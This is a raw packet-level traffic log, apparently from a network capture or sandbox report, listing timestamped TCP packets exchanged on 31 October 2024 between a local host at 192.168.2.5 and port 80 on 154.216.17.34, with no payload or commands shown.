Oct 31, 2024 02:09:12.677788019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677798033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677809000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677833080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677853107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677856922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677891970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677896023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677906036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677947998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.678028107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.678037882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.678078890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.694837093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.694849014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.694859982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.694896936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.694909096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.695169926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695180893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695197105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695208073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695228100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.695246935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695257902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695267916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.695291996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.695334911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695346117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695355892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.695382118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.695475101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727185011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727196932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727216005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727226973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727233887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727237940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727253914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727269888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727293968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727307081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727328062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727330923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727330923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727341890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727344990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727353096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727370024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727385044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727395058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727574110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727585077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727602959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727615118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727617025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727627039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727643967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727672100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727828979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727840900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727850914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727874994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727885008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727895975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727912903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727926016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.727936983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.727967978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.728133917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.728146076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.728156090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.728168011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.728173971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.728188038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.728216887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768374920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768387079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768418074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768425941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768443108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768461943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768471003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768482924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768495083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768515110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768533945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768558025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768568039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768599033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768604994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768611908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768624067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768651962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768666029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768708944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768721104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768735886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768748045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768748045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.768784046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.768784046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783174038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783226967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783229113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783246994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783265114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783276081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783276081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783287048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.783291101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783322096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783343077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.783993006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784003019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784030914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784039974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784069061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784074068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784080029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784112930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784123898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784245968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784286976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784343004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784359932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784373999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784384012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784384966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784399986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784401894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784414053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.784418106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784440041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.784449100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793405056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793421984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793442011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793451071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793476105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793497086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793503046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793514967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793524981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793548107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793571949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793595076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793621063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793632030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793632984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793664932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793698072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793755054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793773890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793783903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793800116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793828011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793847084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793870926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793883085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.793948889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793958902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793970108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.793981075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794003963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794018984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794076920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794095039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794105053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794116020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794145107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794156075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794167995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794190884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794200897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794234037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794430017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794440031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794477940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794503927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794516087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794527054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794537067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794549942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794563055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794589996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794684887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794696093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794706106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794729948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794738054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794742107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794749975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794779062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794874907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794909000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794919014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794955969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.794965982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.794975042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.795010090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.811914921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.811934948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.811944008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.811963081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.811975956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.811992884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812005043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812015057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812036991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812057018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812236071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812246084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812283993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812305927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812328100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812350035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812407017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812542915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812553883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812566042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812588930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812616110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812618017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812629938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812639952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.812658072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812669992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.812722921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.844418049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844446898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844458103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844495058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.844527006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.844860077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844871998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844882965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844911098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.844923973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.844945908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844959021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844969988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.844994068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845020056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845233917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845278978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845280886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845292091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845331907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845453024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845464945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845474958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845504999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845531940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845730066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845747948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845757008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845779896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845798969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.845804930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845839977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.845993996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846012115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846021891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846045017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.846059084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.846534967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846553087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846559048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.846606016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.847234011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847245932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847256899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847284079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.847299099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.847412109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847421885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847433090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.847461939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.847486973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886213064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886224031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886233091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886245012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886255980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886265993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886359930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886374950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886385918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886394978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886405945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886419058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886483908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886483908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886483908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886483908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886737108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886749029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886759043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.886795998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.886820078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.900125980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900175095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900187016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900199890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.900201082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900213003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900226116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.900226116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.900254011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.900264025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901082993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901093006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901104927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901134014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901155949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901158094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901174068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901185036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901202917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901206970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901216030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901227951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901254892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901417017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901427984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901437998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.901468992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.901479959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910312891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910324097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910335064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910363913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910365105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910377979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910393000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910504103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910515070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910526037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910528898 CET	49982	80	192.168.2.5	154.216.17.34
